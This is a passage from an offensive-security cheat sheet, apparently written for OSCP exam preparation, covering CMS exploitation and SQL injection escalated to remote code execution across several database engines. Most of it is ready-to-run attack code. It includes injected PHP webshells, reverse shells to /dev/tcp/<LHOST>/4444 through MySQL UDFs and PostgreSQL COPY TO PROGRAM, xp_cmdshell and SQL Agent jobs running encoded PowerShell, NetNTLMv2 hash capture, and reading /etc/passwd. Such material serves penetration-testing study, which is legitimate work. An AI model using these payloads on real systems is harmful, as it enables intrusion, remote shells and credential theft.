| RiteCMS admin file manager | Upload/write a .php as admin. | Flat-file CMS; default admin:admin is common, then its own file manager is your RCE. Check /data/ too. |
| searchsploit barracuda | RCE PoC for BarracudaDrive / Barracuda embedded server. | Fingerprint the Server header/footer, then run the PoC — it usually runs as a Windows service (often SYSTEM). |
| FMS banner → searchsploit | FileMaker Server / Flash Media Server version lookup. | Identify which "FMS" it is first (ports 16000/16001 vs 1111), then match the exact version's exploit. |
Golden rule: a CMS gives you the version and the plugin list for free. Never brute-force what you can fingerprint.
SQL Injection → RCE (MySQL, MSSQL, PostgreSQL, Oracle, SQLite)
SQLi almost never needs to become RCE immediately. The reliable OSCP play is: SQLi → read the DB → dump the users table → crack/reuse the hashes → SSH/admin login. Only escalate to OS command execution when the DB itself is your best path (e.g. the DB holds the only creds, or it's the pivot).
RCE is engine-specific — the feature that runs OS commands is different on every database. Match the engine (from the error message, banner, or port) to the right technique below. Remember: on the real exam, do this manually — sqlmap is banned.
MySQL / MariaDB → RCE
-- 0. Know your rights and the file-write rules
SELECT current_user(); SELECT @@version;
SELECT super_priv FROM mysql.user WHERE user = SUBSTRING_INDEX(current_user(),'@',1);
SHOW VARIABLES LIKE 'secure_file_priv'; -- empty = can write anywhere
SELECT @@plugin_dir; -- where UDFs must land
-- 1. WRITE A WEBSHELL with FILE privilege (the simplest RCE)
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- -
-- NOTE: OUTFILE cannot overwrite an existing file -> use a unique name.
-- DUMPFILE writes only one row / no formatting.
-- 2. UDF / sys_exec (needs FILE + writable plugin_dir)
-- Upload a compiled lib_mysqludf_sys.so into plugin_dir, then:
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"');
-- 3. Windows MOF (legacy) — write a .mof to the wbem mof dir -> runs as SYSTEM
' UNION SELECT '...mof content...' INTO OUTFILE 'C:/Windows/System32/wbem/mof/nullevt.mof'-- -
MSSQL → RCE
-- 1. The classic: xp_cmdshell (needs sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- 2. OLE Automation — when xp_cmdshell is blocked/removed
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @s INT;
EXEC sp_OACreate 'WScript.Shell', @s OUTPUT;
EXEC sp_OAMethod @s, 'Run', NULL, 'cmd /c powershell -enc <B64>', 0, 'true';
-- 3. SQL Agent job — runs as the Agent service account (often SA), survives xp_cmdshell removal
USE msdb;
EXEC dbo.sp_add_job @job_name = 'upd';
EXEC dbo.sp_add_jobstep @job_name='upd', @step_name='s', @subsystem='CmdExec',
@command='powershell -enc <B64>';
EXEC dbo.sp_add_jobserver @job_name='upd';
EXEC dbo.sp_start_job @job_name='upd';
-- 4. No code exec yet? Capture a service hash instead:
EXEC master..xp_dirtree '\\<LHOST>\share'; -- Responder catches NetNTLMv2
PostgreSQL → RCE
-- 0. Are you a superuser?
SELECT version(); SELECT current_user;
SELECT usesuper FROM pg_user WHERE usename = current_user;
-- 1. CVE-2019-9193 (Postgres 9.3–11, superuser) — command execution via COPY
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- 2. Or run a reverse shell directly (superuser):
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"';
-- 3. Read / write files
SELECT pg_read_file('/etc/passwd');
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/s.php';
Oracle & SQLite (rarer, but know the path)
-- Oracle: ideally via PL/SQL / Java, needs privileges (often DBA):
-- EXEC dbms_xslprocessor... ; or create a Java stored procedure that runs Runtime.exec.
-- In practice: SQLi → dump DBA_USERS hashes → crack → log into the OS.
-- SQLite: rarely gives OS exec, but if you can write a shared library and inject load_extension:
SELECT load_extension('/tmp/evil.so');
-- Usually SQLite boxes are won by reading the app's .db file (users table) instead.
| Engine | RCE technique | When & why |
|---|---|---|
| MySQL | INTO OUTFILE webshell | You have FILE privilege and know (or can guess) the webroot — write a PHP file and browse to it. Simplest RCE. |
| MySQL | UDF / sys_exec | FILE priv + writable plugin_dir, but the webroot is unknown/not writable. Runs commands directly. |
| MySQL | Windows MOF | Legacy Windows MySQL — writes a MOF that the WMI service executes as SYSTEM. |
| MSSQL | xp_cmdshell | You're sysadmin. One-shot OS command execution — the standard path. |
| MSSQL | OLE Automation | xp_cmdshell is disabled/removed but you can still turn on OLE — runs via WScript.Shell. |
| MSSQL | SQL Agent job | Even when both above are blocked; runs as the Agent account (often SA). Very reliable on locked-down installs. |
| MSSQL | xp_dirtree | No code exec at all — just capture the service account's NetNTLMv2 hash and crack it back to the password. |
| PostgreSQL | COPY … PROGRAM | Superuser on vulnerable/any modern install (CVE-2019-9193 or explicit superuser). Cleanest Postgres RCE. |
| Oracle | PL/SQL / Java | Rarely needed — SQLi→DBA hash→OS login is usually faster. |
| SQLite | load_extension | Only when you can plant a .so; usually you just read the app's DB for creds instead. |
Decision shortcut: Which DB am I in? → Am I sysadmin/superuser? → Can I write files / run commands? The first "yes" tells you the technique; if all are "no", pivot to credentials instead of RCE.